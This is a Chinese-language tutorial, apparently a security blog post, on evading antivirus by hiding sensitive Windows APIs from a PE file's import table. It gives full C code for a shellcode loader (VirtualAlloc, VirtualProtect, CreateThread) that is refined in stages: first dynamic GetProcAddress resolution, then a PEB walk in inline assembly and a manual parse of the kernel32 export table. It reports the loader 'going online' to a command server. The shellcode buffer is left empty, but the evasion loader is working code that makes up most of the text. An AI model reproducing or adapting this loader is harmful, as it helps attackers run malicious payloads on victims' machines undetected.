通过隐藏导入表的方式规避杀软
前言
在PE文件中,存在iat导入表,记录了PE文件使用的API以及相关的dll模块。
编译一个MessageBox文件,查看其导入表:
#include#include int main(){ printf("hello world"); MessageBox(0, TEXT("hello world"), 0, 0); return 0;}
可以看到使用了MessageBox这个API
杀软会对导入表进行查杀,如果发现存在恶意的API,比如VirtualAlloc,CreateThread等,就会认为文件是一个恶意文件。我们可以通过自定义API的方式隐藏导入表中的恶意API。
自定义API函数
FARPROC GetProcAddress( [in] HMODULE hModule, 包含函数或变量的 DLL 模块的句柄 [in] LPCSTR lpProcName 函数或变量名称);定义:typedef int (FAR WINAPI *FARPROC)(); HMODULE GetModuleHandleA( LPCSTR lpModuleName // 模块名称); // 成功返回句柄 失败返回NULL HMODULE LoadLibraryA( LPCSTR lpLibFileName // 一个dll文件); // 成功返回句柄 失败返回NULL
这里GetModuleHandle和LoadLibrary作用是一样的,获取dll文件。
通过以上函数自定义API。
#include#include typedef int(WINAPI * pMessageBox) ( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType ); int main(){ printf("hello world"); pMessageBox MyMessageBox = (pMessageBox)GetProcAddress(LoadLibrary("User32.dll"), "MessageBoxA"); MyMessageBox(0, TEXT("hello world"), 0, 0); return 0;}
程序可以正常运行:
查看其导入表:
User32.dll和MessageBox都不存在。
实战测试
用创建进程的方式加载shellcode。
#include #include #include #include // 入口函数int wmain(int argc, TCHAR * argv[]) { int shellcode_size = 0; // shellcode长度 DWORD dwThreadId; // 线程ID HANDLE hThread; // 线程句柄 DWORD dwOldProtect; // 内存页属性 char buf[] = ""; // 获取shellcode大小 shellcode_size = sizeof(buf); char * shellcode = (char *)VirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_READWRITE // 只申请可读可写 ); // 将shellcode复制到可读可写的内存页中 CopyMemory(shellcode, buf, shellcode_size); // 这里开始更改它的属性为可执行 VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect); hThread = CreateThread( NULL, // 安全描述符 NULL, // 栈的大小 (LPTHREAD_START_ROUTINE)shellcode, // 函数 NULL, // 参数 NULL, // 线程标志 &dwThreadId // 线程ID ); WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束 return 0;}
我们将这里敏感的API进行自定义:
//VirtualProtecttypedef BOOL(WINAPI * pVirtualProtect) ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); pVirtualProtect MyVirtualProtect = (pVirtualProtect)GetProcAddress(LoadLibrary("kernel32.dll"), "VirtualProtect"); //CreateThreadtypedef HANDLE(WINAPI * pCreateThread)( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ); pCreateThread MyCreateThread = (pCreateThread)GetProcAddress(GetModuleHandle("kernel32.dll"),"CreateThread");//VirtualAlloctypedef LPVOID (WINAPI *pVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
最终代码:
#include #include #include #include //自定义API typedef BOOL(WINAPI * pVirtualProtect) ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); pVirtualProtect MyVirtualProtect = (pVirtualProtect)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualProtect"); typedef HANDLE(WINAPI * pCreateThread)( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ); pCreateThread MyCreateThread = (pCreateThread)GetProcAddress(GetModuleHandle("kernel32.dll"),"CreateThread"); typedef LPVOID (WINAPI *pVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc"); // 入口函数int wmain(int argc, TCHAR * argv[]) { int shellcode_size = 0; // shellcode长度 DWORD dwThreadId; // 线程ID HANDLE hThread; // 线程句柄 DWORD dwOldProtect; // 内存页属性/* length: 800 bytes */ char buf[] = ""; // 获取shellcode大小 shellcode_size = sizeof(buf); char * shellcode = (char *)MyVirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_READWRITE // 只申请可读可写 ); // 将shellcode复制到可读可写的内存页中 CopyMemory(shellcode, buf, shellcode_size); // 这里开始更改它的属性为可执行 MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect); hThread = MyCreateThread( NULL, // 安全描述符 NULL, // 栈的大小 (LPTHREAD_START_ROUTINE)shellcode, // 函数 NULL, // 参数 NULL, // 线程标志 &dwThreadId // 线程ID ); WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束 return 0;}
可以成功上线:
查看导入表:
可以看到,自定义的三个API已经看不到了,但是GetProcAddress和GetModuleHandle也可能会作为杀软识别的对象。
深入隐藏
通过手动获取dll文件的方式,获取这两个函数的地址。
大致流程:
- 找到kernel32.dll的地址
- 遍历啊kernel32.dll的导入表,找到GetProcAddress的地址
- 使用GetProcAddress获取LoadLibrary函数的地址
- 然后使用 LoadLibrary加载DLL文件
- 使用 GetProcAddress查找某个函数的地址
- ### 获取kernel32.dll的地址
- 这里使用汇编获取,先贴代码。
DWORD GetKernel32Address() {DWORD dwKernel32Addr = 0;_asm { mov eax, fs: [0x30] mov eax, [eax + 0x0c] mov eax, [eax + 0x14] mov eax, [eax] mov eax, [eax] mov eax, [eax + 0x10] mov dwKernel32Addr, eax } return dwKernel32Addr;}
1.这里有两个关键的结构,TEB(线程环境块)和PEB(进程环境块)。PEB结构存储着整个进程的信息。而PEB结构又存放在TEB中。
这两个结构指针都存放在fs寄存器中,fs:[0x30]是PEB fs:[0x18]是TEB。
接下来再分析上面代码的具体过程:
mov eax, fs: [0x30]指向PEB结构
mov eax, [eax + 0xc]0xc处存放者LDR指针它指向一个_PEB_LDR_DATA结构
mov eax, [eax + 0x14]指向LDR指针中的InMemoryOrderModuleList链表
这里面有三个链表,这三个列表中的模块是一样的,只是顺序不同。
mov eax, [eax]mov eax, [eax]
因为kernel32的位置是第三个,第一个是InMemoryOrderModuleList本身,向下两次,就找到了kernel32(这块还不是很理解)。
最后就是获取kernel32的基址:
mov eax, [eax + 0x10]InMemoryOrderModuleList 再偏移0x10,指向dllbase
### 获取GetProcAddress
不做叙述,有兴趣的可以自行学习,代码如下:
DWORD RGetProcAddress() { //获取kernel32的地址 DWORD dwAddrBase = GetKernel32Address(); //获取Dos头 PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwAddrBase; //获取Nt头 Nt头=dll基址+Dos头 PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwAddrBase); //数据目录表 扩展头 数据目录表 + 导出表 定位导出表 PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory +IMAGE_DIRECTORY_ENTRY_EXPORT; //导出表 //导出表地址 PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwAddrBase + pDataDir->VirtualAddress); //函数总数 DWORD dwFunCount = pExport->NumberOfFunctions; //函数名称数量 DWORD dwFunNameCount = pExport->NumberOfNames; //函数地址 PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + dwAddrBase); //函数名称地址 PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + dwAddrBase); //序号表 PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals+ dwAddrBase); //遍历函数总数 for (size_t i = 0; i < dwFunCount; i++) { //判断函数地址是否存在 if (!pAddrOfFun[i]) { continue; } //通过函数地址遍历函数名称地址,获取想要的函数 DWORD dwFunAddrOffset = pAddrOfFun[i]; for (size_t j = 0; j < dwFunNameCount; j++) { if (pAddrOfOrdinals[j] == i) { DWORD dwNameOffset = pAddrOfNames[j]; char * pFunName = (char *)(dwAddrBase + dwNameOffset); if (strcmp(pFunName,"GetProcAddress")==0) { return dwFunAddrOffset + dwAddrBase; } } } }}
## 完整代码
#include #include #include #include DWORD GetKernel32Address() { DWORD dwKernel32Addr = 0; _asm { mov eax, fs: [0x30] mov eax, [eax + 0x0c] mov eax, [eax + 0x14] mov eax, [eax] mov eax, [eax] mov eax, [eax + 0x10] mov dwKernel32Addr, eax } return dwKernel32Addr;}DWORD RGetProcAddress() { //获取kernel32的地址 DWORD dwAddrBase = GetKernel32Address(); //获取Dos头 PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwAddrBase; //获取Nt头 PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwAddrBase); //数据目录表 扩展头 数据目录表 + 导出表 定位导出表 PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT; //导出表 //导出表地址 PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwAddrBase + pDataDir->VirtualAddress); //函数总数 DWORD dwFunCount = pExport->NumberOfFunctions; //函数名称数量 DWORD dwFunNameCount = pExport->NumberOfNames; //函数地址 PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + dwAddrBase); //函数名称地址 PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + dwAddrBase); //序号表 PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals + dwAddrBase); for (size_t i = 0; i < dwFunCount; i++) { if (!pAddrOfFun[i]) { continue; } DWORD dwFunAddrOffset = pAddrOfFun[i]; for (size_t j = 0; j < dwFunNameCount; j++) { if (pAddrOfOrdinals[j] == i) { DWORD dwNameOffset = pAddrOfNames[j]; char * pFunName = (char *)(dwAddrBase + dwNameOffset); if (strcmp(pFunName, "GetProcAddress") == 0) { return dwFunAddrOffset + dwAddrBase; } } } }}//自定义API//获取kernel32.dll地址HMODULE hKernel32 = (HMODULE)GetKernel32Address();//自定义GetProcAddresstypedef FARPROC(WINAPI *pGetProcAddress)( _In_ HMODULE hModule, _In_ LPCSTR lpProcName );//动态获取GetProcAddresspGetProcAddress MyGetProcAddress = (pGetProcAddress)RGetProcAddress();//自定义GetModuleHandletypedef HMODULE(WINAPI* pGetModuleHandle)( _In_ LPCSTR lpLibFileName );pGetModuleHandle MyGetModuleHandle = (pGetModuleHandle)MyGetProcAddress(hKernel32, "GetModuleHandle");//自定义VirtualProtecttypedef BOOL(WINAPI * pVirtualProtect) ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);pVirtualProtect MyVirtualProtect = (pVirtualProtect)MyGetProcAddress(hKernel32, "VirtualProtect");//自定义CreateThreadtypedef HANDLE(WINAPI * pCreateThread)( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );pCreateThread MyCreateThread = (pCreateThread)MyGetProcAddress(hKernel32,"CreateThread");//自定义VirtualAlloctypedef LPVOID (WINAPI *pVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)MyGetProcAddress(hKernel32, "VirtualAlloc");// 入口函数int wmain(int argc, TCHAR * argv[]) { int shellcode_size = 0; // shellcode长度 DWORD dwThreadId; // 线程ID HANDLE hThread; // 线程句柄 DWORD dwOldProtect; // 内存页属性 char buf[] = ""; // 获取shellcode大小 shellcode_size = sizeof(buf); char * shellcode = (char *)MyVirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_READWRITE // 只申请可读可写 ); // 将shellcode复制到可读可写的内存页中 CopyMemory(shellcode, buf, shellcode_size); // 这里开始更改它的属性为可执行 MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect); hThread = MyCreateThread( NULL, // 安全描述符 NULL, // 栈的大小 (LPTHREAD_START_ROUTINE)shellcode, // 函数 NULL, // 参数 NULL, // 线程标志 &dwThreadId // 线程ID ); WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束 return 0;}
成功上线:
查看导入表,敏感API都已隐藏:
